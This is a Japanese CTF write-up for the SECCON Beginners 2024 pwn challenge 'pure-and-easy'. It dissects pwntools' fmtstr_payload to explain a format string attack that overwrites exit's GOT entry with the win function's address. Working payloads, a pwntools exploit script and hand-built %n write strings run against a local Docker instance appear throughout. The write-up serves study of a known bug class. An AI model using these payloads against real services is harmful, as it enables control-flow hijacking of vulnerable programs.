fmtstr_payloadを紐解いて書式文字列攻撃を理解する

# はじめに

この記事はCTFにおける書式文字列攻撃(Format String Attack)を理解するために、pwntoolsのfmtstr_payloadを紐解いていく記録です。

題材は[SECCON Beginners CTF 2024](https://score.beginners.seccon.jp/rules)で出題されたpwnカテゴリ「pure-and-easy」です。


フォーマットストリングバグは[CWE-134](https://cwe.mitre.org/data/definitions/134.html)という脆弱性タイプで定義されており、最近でも緊急度の高い[脆弱性](https://nvd.nist.gov/vuln/detail/CVE-2024-23113)に含まれていたりします。

# 目次

- [模範解答](#模範解答)
- [問題環境](#問題環境)
- [書式文字列攻撃ペイロード解析](#書式文字列攻撃ペイロード解析)
- [ペイロードを書く](#ペイロードを書く)
- [最後に](#最後に)

# 模範解答

下記のwriteupを参考にさせていただきました。

[作門者writeup](https://feneshi.co/ctf4b2024writeup/#pure_and_easy)　公式の解法です。

[kurenaif](https://youtu.be/DPYlSEbIGsY?t=3811)　動画で説明されています。

[ゼオスTTのブログ](https://zeosutt.hatenablog.com/entry/2024/06/16/162439#pure-and-easy)　非常にシンプルなコードで書かれています。

# 問題環境

問題の中で提示された内容は以下になります。
- 接続先FQDN
- 接続先ポート
- 実行ファイル(chall)
- ソースファイル(src.c)
- Dockerfile
- compose.yml

脆弱性の判定等一部手順は省略しています。

## フォーマットストリンバグの確認

- ソースファイルでprintf関数の引数で変数を直接参照していることを確認

```src.c
int main() {
  char buf[0x100] = {0};
  printf("> ");
  read(0, buf, 0xff);
  printf(buf);           <---
  exit(0);
}
```


- 実行ファイルを逆アセンブルしwin関数の存在及びアドレスを確認
```zsh
％　objdump --syms chall | grep win
0000000000401341 g     F .text		 0000006c win
```

- **0x401341** このアドレスにジャンプできれば勝ち

## オフセットを確認
- ここでのオフセットとは入力文字（ペイロード）が格納されるスタックの位置のこと
- chall(ELF64)の実行環境がなかったため付属のDockerを起動
```zsh
% docker compose up
```

- オフセット確認用の文字列を作成

```zsh
% python -c "print('A'*8 + ',%p' * 10)"
AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
```
- %p はポインタの値を出力するが引数がなければレジスタ、スタックの値を出力する


- オフセット確認用の文字列を入力

```zsh
% nc localhost 9000                    
> AAAAAAAA,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p     <---上で出力した内容をコピペ
AAAAAAAA,0x7ffdf5b90fb0,0xff,0x7fbc6e5caa61,0x2,0x7fbc6e6ca380,0x4141414141414141,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0xa70252c70252c
```

- Aのasciiコードである0x41の連続が6つ目なので**オフセットは６**

:::note info
このオフセットの確認はpwnlib.fmtstr.FmtStrで自動化可能
[python3-pwntools](https://python3-pwntools.readthedocs.io/en/latest/fmtstr.html)
:::

## 書き換え先のアドレス調査

- 書式文字列攻撃が成立するprintf関数の位置を確認し、その位置より後ろで書き換えが成立しそうな命令を探す

 ```zsh
 % objdump -M intel -d chall

00000000004011a6 <main>:
 #省略
  40131e:	e8 4d fd ff ff       	call   401070 <read@plt>
  401323:	48 8d 85 f0 fe ff ff 	lea    rax,[rbp-0x110]
  40132a:	48 89 c7             	mov    rdi,rax
  40132d:	b8 00 00 00 00       	mov    eax,0x0
  401332:	e8 19 fd ff ff       	call   401050 <printf@plt>　　　<---
  401337:	bf 00 00 00 00       	mov    edi,0x0
  40133c:	e8 6f fd ff ff       	call   4010b0 <exit@plt>   <---

セクション .plt の逆アセンブル:
  00000000004010b0 <exit@plt>:
  4010b0:	ff 25 8a 2f 00 00    	jmp    QWORD PTR [rip+0x2f8a]        # 404040 <exit@GLIBC_2.2.5>
  4010b6:	68 08 00 00 00       	push   0x8
  4010bb:	e9 60 ff ff ff       	jmp    401020 <_init+0x20>
 ```
 - 今回はwin関数までジャンプするためにGOTを活用する
 
 ```zsh
  % objdump -M intel -R chall

chall:     ファイル形式 elf64-x86-64

DYNAMIC RELOCATION RECORDS
OFFSET           TYPE              VALUE
# 省略
0000000000404040 R_X86_64_JUMP_SLOT  exit@GLIBC_2.2.5
 ```


- pwntoolsでも実行ファイルを読ませてアドレスを確認できる
```zsh
% python3.10 -c "from pwn import *;
                 elf = ELF('./chall'); 
                 print(hex(elf.got['exit']))" 
[*] './chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
0x404040
```


# 書式文字列攻撃ペイロード解析

- pwntoolsのfmtstrを使ってペイロードを作成します
- 事前に確認した①オフセット②書き換え対象アドレス③ジャンプ先関数アドレスが必要になります

```python:p.py
from pwn import *

context.arch = 'amd64'
elf = ELF('chall')

with remote('localhost', 9000) as r:
    writes_dict = {elf.got['exit']: elf.symbols['win']}     <---2 3
    payload = fmtstr_payload(6, writes_dict)                <---1 
    r.sendlineafter(b'> ', payload)
    ret = r.recvall()
    print(ret)

    print('fmtstr_payload: ' +  str(payload))
    print('exit.addr: ' + str(hex(elf.got['exit'])))
    print('win.addr: ' + str(hex(elf.symbols['win'])))
```
- これでフラグがゲットできます

```zsh
 % python3.10 p.py
[+] Opening connection to localhost on port 9000: Done
[+] Receiving all data: Done (355B)
[*] Closed connection to localhost port 9000
b'                                                                \xd0                                                                                                                                                                                                                 \xff                                            aaaaaba@@@ctf4b{****}\n\nctf4b{****}\n\n'
fmtstr_payload: b'%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba@@@\x00\x00\x00\x00\x00A@@\x00\x00\x00\x00\x00B@@\x00\x00\x00\x00\x00'
exit.addr: 0x404040
win.addr: 0x401341
```
:::note warn
fmtstr_payloadはstrとhexが混在しているためうまく出力されませんが
fmtstr_splitを使うと書式文字列とアドレスを分割して出力できます。
:::
- ペイロードが文字化けしてしまうので、wiresharkでパケットを確認して実際の値を確認します

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3826569/827eff7c-1ea0-42ec-f2ad-5e58ce9c7b92.png)

- パケット上のペイロード
```zsh: Packets don't lie
25363563253131246c6c6e25323130632531322468686e253435632531332468686e6161616162614040400000000000414040000000000042404000000000000a
```
- 前半に３つの%n書式がある
```zsh
% echo  '25363563253131246c6c6e25323130632531322468686e253435632531332468686e616161616261'  |  xxd -ps -r 
%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba
          ^           ^          ^
```

- 後半は3つの64bitアドレスがある
```zsh
% echo -e '4040400000000000414040000000000042404000000000000a' | fold -16 
4040400000000000
4140400000000000
4240400000000000
0a                    <---これは改行
```


- 確認のためpwntoolsなしで再現してみる

```zsh
% python -c 'print("%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba" + "\x40\x40\x40\x00\x00\x00\x00\x00" + "\x41\x40\x40\x00\x00\x00\x00\x00" + "\x42\x40\x40\x00\x00\x00\x00\x00")' | nc localhost 9000
>                                                                 ?                                                                                                                                                                                                                 ?                                            aaaaaba@@@ctf4b{****}

ctf4b{****}
```
- できた！

### payloadの構成要素に分割

```
%65c%11$lln
%210c%12$hhn
%45c%13$hhn
aaaaba
\x40\x40\x40\x00\x00\x00\x00\x00
\x41\x40\x40\x00\x00\x00\x00\x00
\x42\x40\x40\x00\x00\x00\x00\x00
0a
```

- 各書式のおさらい

|オプション|意味|
|:------|:--|
|%n|整数変数に出力済み文字数を格納 |
|%<数字>c| 最小フィールド幅 |
|<数字>$|引数を指定する（ダイレクトパラメータアクセス）|

- 長さ修飾子

|修飾子|意味|
|:----|:---|
|%lln|16byte|
|%ln|8byte|
|%n|4byte|
|%hn|2byte|
|%hhn|1byte|

- 引数の位置(オフセット)とペイロード

|offset|hex|値|
|:---:|:---|:---|
|6| 2536356325313124|%65c%11$|
|7| 6c6c6e2532313063|lln%210c|
|8| 2531322468686e25|%12$hhn%|
|9| 3435632531332468|45c%13$h|
|10| 686e616161616261|hnaaaaba|
|11| 4040400000000000|0x0000000000404040|
|12| 4140400000000000|0x0000000000404041|
|13| 4240400000000000|0x0000000000404042|

## %65c%11$lln を見る
- 11番目の引数の場所へ16byteの長さで41を書き込む
- 11番目の引数は0x00000000404040となる
- 65は16進数に変換すると41になる

```zsh
% printf %x 65
41
```
- win.addr: 0x401341　のうち41だけ書き込んでいる

##  %210c%12$hhn を見る
- 12番目の引数の場所へ1byteの長さで210+aを書き込む
- +aは前段で出力されたデータ分を加算する
- 12番目の引数は0x0000000000404041になる

```zsh
% printf %x $((210 + 65))
113                                    
```
- 1byte長としているので桁溢れは無視されて13になる
- win.addr: 0x401341　のうち13だけ書き込んでいる


## %45c%13$hhn を見る
- 13番目の引数の場所へ1byteの長さで45＋a＋bを書き込む
- 13番目の引数は0x0000000000404042になる

```zsh
% printf %x $((45 + 65 + 210))
140                             
```
- 1byte長としているので桁溢れは無視されて40になる
- win.addr: 0x401341　のうち40だけ書き込んでいる

### それぞれ41,13,40を１byteづつずらしたアドレスへ書き込んでいる。

#### 最初の書き込み
0x404040: `41`
0x404041: `00`
0x404042: `00`
0x404043: `00`
0x404044: `00`
0x404045: `00`
0x404046: `00`
0x404047: `00`
0x404048: 

#### 2回目の書き込み
0x404040: 41
0x404041: `13`
0x404042: 00
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:

#### 3回目の書き込み
0x404040: 41
0x404041: 13
0x404042: `40`
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:

- これで0x404040へ0x00000000401341（win）が書き込めた

- aaaabaはアドレスまでを16byte区切りにするためのパディングに利用されている

### なぜ3回に分けるのか？

- フィールド幅指定はサーバからの出力に影響する。3byte分(0x404040 = 4210752)のアドレスを10進数で入力しようとするとサーバからの応答もその分長くなってしまう
- 今回のように3回に分けてもサーバから出力されるスペースはそれなりにある(今回は320個ほど)

```zsh
% python -c 'print("%65c%11$lln%210c%12$hhn%45c%13$hhnaaaaba" + "\x40\x40\x40\x00\x00\x00\x00\x00" + "\x41\x40\x40\x00\x00\x00\x00\x00" + "\x42\x40\x40\x00\x00\x00\x00\x00")' | nc localhost 9000
>                                                                 ?                                                                                                                                                                                                                 ?                                            aaaaaba@@@ctf4b{****}

ctf4b{****}
```


# ペイロードを書く

### 2回で書き込むとどうなるか？
- 2つ目の長さ修飾子を2byteに変更
- 0x4013を10進にすると16403
- 16403から65を引いて16338
- 3つ目の書き込みを無くすためオフセットが2つずれる
- パディングを調整


```zsh: 2回書き込みペイロード
%65c%9$lln
%16338c%10$hn
a
\x40\x40\x40\x00\x00\x00\x00\x00
\x41\x40\x40\x00\x00\x00\x00\x00
0a
```

|offset|hex|値|
|:---:|:---|:---|
|6|253635632539246c|%65c%9$l|
|7|6c6e253136333338|ln%16338|
|8|6325313024686e61|c%10$hna|
|9|4040400000000000|0x0000000000404040|
|10|4140400000000000|0x0000000000404041|

## 「%16338c%10$hn」を見る
- 10番目の引数の場所へ2byteの長さで16338＋aを書き込む
- 10番目の引数は0x0000000000404041になる
```zsh
% printf  %x $((65 + 16338))
4013                         
```
- hnで2byte長にしているためそのまま4013が書き込まれる

### 41は同じ、4013は一回で書き込む

#### 最初の書き込み
0x404040: `41`
0x404041: `00`
0x404042: `00`
0x404043: `00`
0x404044: `00`
0x404045: `00`
0x404046: `00`
0x404047: `00`
0x404048:

#### 2回目の書き込み
0x404040: 41
0x404041: `13`
0x404042: `40`
0x404043: 00
0x404044: 00
0x404045: 00
0x404046: 00
0x404047: 00
0x404048:



- pythonから実行してみる
```zsh
% python3.10 -c 'print("%65c%9$lln%16338c%10$hna" + "\x40\x40\x40\x00\x00\x00\x00\x00" + "\x41\x40\x40\x00\x00\x00\x00\x00")' | nc localhost 9000
>                                                                 ?                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ?a@@@ctf4b{****}

ctf4b{****}

```
できた！
2byteで書き込みしたため膨大な量のスペースが出力されてしまいました。
これを避けるためにpwntoolsでは3回に分けているようです。


# 最後に
今回はセキュリティ(CTF)の勉強のためpwntoolsのfmtstr_payloadを紐解き改変を行いました。
FSB問題を解くにはpwntoolsに任せた方が簡単で早いですが、今後は手動でチャレンジしてみたいです。